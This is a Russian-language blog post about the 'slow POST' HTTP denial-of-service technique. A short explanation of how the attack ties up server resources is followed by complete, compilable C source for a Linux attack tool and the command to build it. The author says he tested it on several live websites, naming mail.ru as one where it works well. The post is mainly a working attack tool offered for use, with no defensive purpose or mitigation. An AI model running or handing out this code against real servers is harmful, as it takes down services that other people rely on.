реализация DoS медленного POST

8-го ноября была опубликована новость о новой уязвимости HTTP, а так же некоторых других протоколов прикладного уровня:

Уязвимость опирается на так называемый «медленный» POST-трафик, который затруднительно дифференцировать от законного обмена данными. DDOS-атаки легко проводить в окружении многопользовательских онлайновых игр как среды распределенных компьютерных сетей, затрагивающих массу вычислительных систем.

Что интересно, «медленная» POST-технология может быть вполне адаптирована для работы с SMTP и даже DNS-серверами. Атака работает так: вредоносный код отправляет POST-заголовки с легитимно заполненными полями, касающимися размеров готовящихся к передаче данных, однако последние затем передаются на очень низких скоростях, что приводит к формированию «заторов» на серверах и связыванию их системных ресурсов. Достаточно нескольких десятков тысяч ботов, чтобы отключить сервер. Балансирующее нагрузку ПО, ныне используемое для предотвращения DDOS-атак, не эффективно против новой методики.

В общем суть сводится к тому что мы посылаем совершенно обыкновенный POST, где data идет очень долго, иначе говоря data’у посылаем посимвольно с задержками.

Проверял на нескольких сайтах, где-то обрывают соединение не понятно почему, где-то нет. Вероятно, не работает там, где используется nginx как front-end. Что удивительно, как будто этот код написан под mail.ru, там идет как литое.

Реализация на C под Linux:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <stdio.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
 
#define BUF_LEN 4096
#define HTTP_PORT 80
#define SLEEP_PERIOD 1
#define POST_COUNT "100"
#define PATH "/path/to/post"
 
int main (int argc, char ** argv)
{
int sock, count;
char * buf;
struct hostent * host;
struct sockaddr_in addr;
 
if (argc < 2) {
fprintf (stderr, "Too few arguments\n");
return 1;}
 
buf = (char *) malloc (BUF_LEN);
 
if (buf == NULL) {
fprintf (stderr, "malloc() error\n");
return 1;}
 
sock = socket (PF_INET, SOCK_STREAM, 0);
 
if (sock == -1) {
fprintf (stderr, "socket() error\n");
return 1;}
 
addr.sin_family = AF_INET;
 
host = gethostbyname (argv[1]);
 
if (host == NULL) {
fprintf (stderr, "Unknown server\n");
return 1;}
 
addr.sin_addr = * (struct in_addr*)host->h_addr_list[0];
 
addr.sin_port = htons (HTTP_PORT);
 
if (connect(sock,(struct sockaddr*) &addr, sizeof (addr))==-1)
 {fprintf (stderr, "connect() error\n");
return 1;}
 
strcpy (buf, "POST ");
strcat (buf,PATH);
strcat (buf," HTTP/1.1\r\n");
strcat (buf,"Content-Type: application/x-www-form-urlencoded\r\n");
strcat (buf,"Content-Length: ");
strcat (buf,POST_COUNT);
strcat (buf,"\r\n\r\n");
 
fprintf(stderr,buf);
write (sock, buf, strlen (buf));
 
for(int i=0;i<atoi(POST_COUNT)-1;i++){
fprintf(stderr,"-%d", i);
write(sock,"a",1);
sleep(SLEEP_PERIOD);}
strcpy(buf,"\r\n");
write (sock, buf, strlen (buf));
 
while ((count = read (sock, buf, BUF_LEN)) > 0)
write (1, buf, count);
 
close (sock);
free (buf);
return 0;

Компилируем так:

1
$ gcc -o newdos newdos.c -std=gnu9

Полную новость смотрите на rdot’е.

No Comments.

Leave a Reply

(обязательно)

(обязательно)